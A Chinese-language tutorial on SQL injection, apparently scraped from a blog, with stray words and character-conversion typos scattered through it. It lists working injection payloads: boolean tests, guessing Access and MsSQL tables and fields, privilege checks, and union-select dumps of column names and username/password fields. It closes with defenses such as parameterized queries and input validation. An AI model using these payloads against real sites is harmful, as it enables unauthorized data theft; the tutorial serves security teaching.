SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,以后再将这些参数传递给后台的SQL服务器加以解析并执行。php
www.xx.com/news.php?id=1
www.xx.com/news.php?id=1 and 1=1mysql
首先,SQL注入常年蝉联OWASP排行榜第一名web
SQL注入产生的过程是怎样的呢?见下图正则表达式
数据库信息泄露
网页篡改
网站被挂马
数据库被恶意操做
服务器被远程控制
破坏硬盘数据sql
通常经过远程测试判断是否存在SQL注入,因此一般没有机会经过查看源代码来复查注入的查询结构。这致使常常须要经过推理来进行大量测试数据库
打开IE浏览器,选择菜单“工具”->“Internet选项”对话框。
打开“高级”选项卡,在设置列表中找到“浏览”组,
取消勾选”显示友好HTTP错误信息”复选框 。以下图浏览器
最经常使用的SQL注入判断方法,在网站中寻找以下形式的网页服务器
http://192.168.1.3/webug/pentest/test/sqli/sqltamp.php?gid=1
框架
提交单引号,页面返回错误工具
提交and 1=1 页面返回正常 ,提交and 1=2 页面返回错误
区分数字和字符串
数字型
SELECT *FROM user WHERE id=1
SELECT * FROM user WHERE id > 1
带引号类型的
SELECT * FROM user WHERE name = ‘admin’
SELECT * FROM user WHERE date > ‘2017-5-3’
内联SQL注入:内联注入是指插入查询注入SQL代码后,原来的查询仍然会所有执行。
终止式SQL注入:终止式SQL语句注入是指攻击者在注入SQL代码时,经过注释剩下的查询来成功结束该语句
例如在单引号后面再加上 %23 表示进行单引号闭合,此时页面又恢复正常
select * from XXX where id ='1"
select * from XXX where id = ' 1'%23 ' (蓝色部分为注入内容,红色部分为被注释掉)
www.xx.com/news.php?uid=admin
www.xx.com/news.php?uid=ad’+’min
www.xx.com/news.php?uid=ad’’min
www.xx.com/news.php?uid=ad||min
利用内置数据库表获取数据库类型
and (select count(*) from sysobjects)>=0
Sysobjects为Mssql数据库内置表
and (select count(*) from msysobjects)>=0
Msysobjects为Access数据库内置表
Access手工注入猜解
猜表名
and exists(select * from 表名)
and(select count(*) from 表名)>=0
猜字段名
and exists(select 字段名 from 表名)
and (select count(字段名) from 表名)>=0
猜字段长度
and (select top 1 len(字段名) from 表名)>1
and (select top 1 len(字段名) from 表名)>2
and (select top 1 len(字段名) from 表名)>n
猜字段值
and (select top 1 asc(mid (字段名,1,1)) from 表名)>0
and (select top 1 asc(mid (字段名,1,1)) from 表名)>1
and (select top 1 asc(mid (字段名,1,1)) from 表名)>n
and (select top 1 asc(mid (字段名,2,1)) from 表名)>0
and (select top 1 asc(mid (字段名,2,1)) from 表名)>2
and (select top 1 asc(mid (字段名,2,1)) from 表名)>n
Order by 猜字段数目
Order by 1
Order by 2
Order by n
Union select 获取段内容
Union select 1,字段名,2,…,n from 表名
在进行MsSQL注入攻击时,首先要对MsSQL注入点进行一下基本的注入检查,以肯定后面的攻击实施方案。
注入点权限判断
and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是不是系统管理员
and 1=(select IS_SRVROLEMEMBER('db_owner')) //判断是不是库权限
and 1=(select IS_SRVROLEMEMBER('public')) //判断是否为public权限
返回信息判断
and @@version>0 //数据库信息
;declare @d int //判断MsSQL支持多行语句查询
and (select count(1) from [sysobjects])>=0 //是否支持子查询
and user>0 //获取当前数据库用户名
and 1=convert(int,db_name()) 或 1=(select db_name()) //当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(select HAS_DBACCESS('master')) //判断是否有库读取权限
根据表名爆列名,能够获取user表中全部的列
union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = 'user'
根据列名爆出全部关键用户字段的信息
union select uname,pwd,3,4 from flag %23
使用参数化查询
PHP包含不少用于访问数据库的框架。访问MySQL数据库的mysqli包,PEAR::MDB2包(它替代了流行的PEAR::DB包)以及新的PHP数据对象(PDO)框架,他们均为使用参数化语句提供便利。
输入验证
验证应用接收到的输入时一种可用的功能强大的控制手段(若是用的好的话)。
白名单
使用白名单应该开了下列要点:
数据类型:字符、数字等;
数据大小:字符串长度是否正确,数字的大小和精度是否正确。
数据范围:若是 是数字型,是否位于该数据类型指望的数字范围。
数据内容:数据是否属于指望的数据类型,如手机号码,它是否瞒住指望的值。
黑名单
黑名单验证的经常使用方法也是使用正则表达式。
编码输入与使用存储过程防护
除了验证应用受到的输入之外,一般还须要对在应用的不一样模块或部分传递的内容进行编码。
一般会被忽视的状况是对来自数据库的信息进行编码,尤为是当正在使用的数据库未通过严格验证或审查,或者来自第三方数据源时。
将应用设计成专门使用存储过程来访问数据库是一种能够放置或减轻SQL注入影响的技术。存储
过程是保存在数据库汇总的程序。根据数据库的不一样,可使用不少不一样语言及其变体来编写存储过程